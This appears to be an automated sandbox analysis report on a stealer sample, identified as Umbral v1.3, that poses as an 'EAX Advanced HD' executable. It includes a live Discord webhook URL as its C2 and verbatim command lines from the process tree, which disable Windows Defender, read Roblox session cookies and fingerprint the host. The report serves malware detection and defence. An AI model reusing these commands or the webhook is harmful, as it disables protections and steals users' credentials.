Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/09/2026, 04:31

General

  • Target
    EAX Advanced HD/EAX Advanced HD.exe
  • Size 2.2MB
  • Sample260914-e5q9havaqe
  • SHA256 925c8fa085c56e92bf3762409cbddf9750bea788a8dfb88edd3725a9e39add64
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • umbral

Version
  • v1.3

C2
  • https://discord.com/api/webhooks/1548723145387544596/arUdv6tkx5u1Qh42y_3rSjjSl6kw6I3-oD3L5zJDhUHxHXwHxTUy7VRKR2Akg6d4DNck

Signatures

  • Family: Umbral

    Umbral stealer is an open-source modular stealer written in C#.

  • Detects Umbral payload 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Drops file in Drivers directory 1 IoCs
  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\EAX Advanced HD\EAX Advanced HD.exe
    "C:\Users\Admin\AppData\Local\Temp\EAX Advanced HD\EAX Advanced HD.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:792
    • C:\Users\Admin\AppData\Roaming\EAX Advanced HD (1).exe
      "C:\Users\Admin\AppData\Roaming\EAX Advanced HD (1).exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1772
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1772 -s 936
        3⤵
        • Program crash
        PID:2448
    • C:\Users\Admin\AppData\Roaming\Umbral.exe
      "C:\Users\Admin\AppData\Roaming\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4860
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:4532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4496
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Disables automatic submission of suspicious files to Microsoft by Windows Defender
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:796
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1448
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2872
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3644
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:5668
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:5360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:5172
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        3⤵
        • Detects videocard installed
        • Suspicious behavior: EnumeratesProcesses
        PID:4640
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbral.exe" && pause
        3⤵
        • Executes a command shell one-liner
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Windows\system32\PING.EXE
          ping localhost
          4⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3660
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1772 -ip 1772
    1⤵
      PID:4368

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 df5de984121ab9eb702c2ef1c0716750e770551b5a5551fee347941d5bdfab01
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 952B
          • SHA256 59a616a85b4c18c97628fdc91d595885cac6b00d0b8872028304b93d05cea063
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 aef8b020212d19e8c6e52e5f91f96126439e9399bc7e0a9ef369ab991df7b2fa
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 70dfb01ecc999e9b97eec99d8e7e31ab7cfb5e751f366a460b435ee16ac671d3
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_jmyiyqxt.fnq.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jmyiyqxt.fnq.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          EAX Advanced HD (1).exe

          • Path C:\Users\Admin\AppData\Roaming\EAX Advanced HD (1).exe
          • Size 1.9MB
          • SHA256 cb04393bcda0b970e7c89b256a5b75f8794c6ce4c0486da2ae7964b7aec0fa23
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Umbral.exe

          • Path C:\Users\Admin\AppData\Roaming\Umbral.exe
          • Size 227KB
          • SHA256 ef2713a189dfbdda57fa07e4c1bc88e3a1d1a08fdc7fe7f929142656ce90679b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/792-4-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/792-23-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/792-0-0x00007FFB5C5AF000-0x00007FFB5C5B0000-memory.dmp

          memory/792-21-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/792-2-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/792-1-0x00000000007A0000-0x00000000009D6000-memory.dmp

          memory/1772-22-0x0000000000DB0000-0x0000000000FAA000-memory.dmp

          memory/1772-25-0x0000000005A40000-0x0000000005AD2000-memory.dmp

          memory/1772-24-0x0000000005F60000-0x000000000651A000-memory.dmp

          memory/1772-34-0x0000000074812000-0x0000000074813000-memory.dmp

          memory/4496-38-0x00000129B6070000-0x00000129B6092000-memory.dmp

          memory/4496-43-0x00000129B6130000-0x00000129B613A000-memory.dmp

          memory/4496-41-0x00000129B6180000-0x00000129B619E000-memory.dmp

          memory/4496-42-0x00000129B61A0000-0x00000129B6252000-memory.dmp

          memory/4860-26-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/4860-52-0x000001E87F300000-0x000001E87F31E000-memory.dmp

          memory/4860-31-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/4860-35-0x000001E87EE90000-0x000001E87EEA0000-memory.dmp

          memory/4860-28-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/4860-27-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/4860-32-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/4860-50-0x000001E87FE30000-0x000001E87FEA6000-memory.dmp

          memory/4860-51-0x000001E87F330000-0x000001E87F380000-memory.dmp

          memory/4860-33-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/4860-30-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/4860-29-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/4860-63-0x000001E87F4C0000-0x000001E87F4D2000-memory.dmp

          memory/4860-62-0x000001E87F2E0000-0x000001E87F2EA000-memory.dmp

          memory/4860-20-0x000001E87E9C0000-0x000001E87EA00000-memory.dmp

          memory/4860-71-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp

          memory/4860-72-0x000001E87EE90000-0x000001E87EEA0000-memory.dmp

          memory/4860-73-0x00007FFB5C420000-0x00007FFB5CDC4000-memory.dmp